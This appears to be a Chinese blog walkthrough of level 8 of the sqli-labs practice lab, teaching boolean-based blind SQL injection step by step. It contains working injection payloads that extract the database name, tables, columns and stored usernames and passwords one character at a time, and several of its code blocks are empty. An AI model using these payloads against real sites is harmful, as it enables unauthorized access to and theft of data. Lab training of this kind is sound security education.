sqli-labs第八关-布尔注入 (1)
@TOC
布尔注入
如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入.
通过插入一些语句查看结果来判断是否存在布尔注入.
布尔注入的几个常用函数
函数使用:
length(select database())>5 #length()里可以放查询语句,用来判断查询结果的长度
exists( ) #exists()里可以放查询语句,用来判断查询结果是否存在
ascii( ) #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
substr( string,pos,length)
#用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;
一、第八关
判断注入点
可以发现这里不存在整型注入
没有显示位,可判断为字符型注入
爆数据库名
判断长度
1 |
|
依次往上加数字的值直到无显示位
可以看到数据库的长度为8
爆破数据库名
1 |
|
可以看到当ascll值为115时回显说明第一个字符为‘s’剩下的字符依次进行解密,当然这样比较麻烦.
第二位:?id=1' and ascii(substr((database()),2,1)) >80 --+
类似这样只需修改数值依次解出:database=security
大致可以猜测到数据库名:security
爆表名
判断表的长度
1 |
|
表的数量为4
判断第一个表的长度
1 |
|
判断表的字符
1 |
|
说明表中第一个字符的ASCII值大于79
1 |
|
第一个值为:e,看一下解释如何往下进行
再第一张表中我们只需要修改红字部分进行注入
第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+
就这样依次进行得到表名:emails/users
爆字段
获取字段列数
1 |
|
可见列数为:3
获取字段列名
1 |
|
第一列第一个字符为:i
继续第二个:d?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+
依次求第二列:
第一个字符:u?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+
换列则需要改变第一个红标处,列中数据改变则需要改变第二个红标处
可以得到:
第二列名:username
第三列名:password
获取表中的数据
获取条数
1 |
|
可见为13条。
判断数据长度
1 |
|
获取数据
1 |
|
获取username中数据
获取password中数据
可见账号为Dumb 密码为Dumb
判断长度
1 |
|
可见username的长度为4
判断数据
1 |
|
可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb
总结
其实这样下来程序是十分繁杂的,接下来将会使用burp工具来爆破进行获取信息。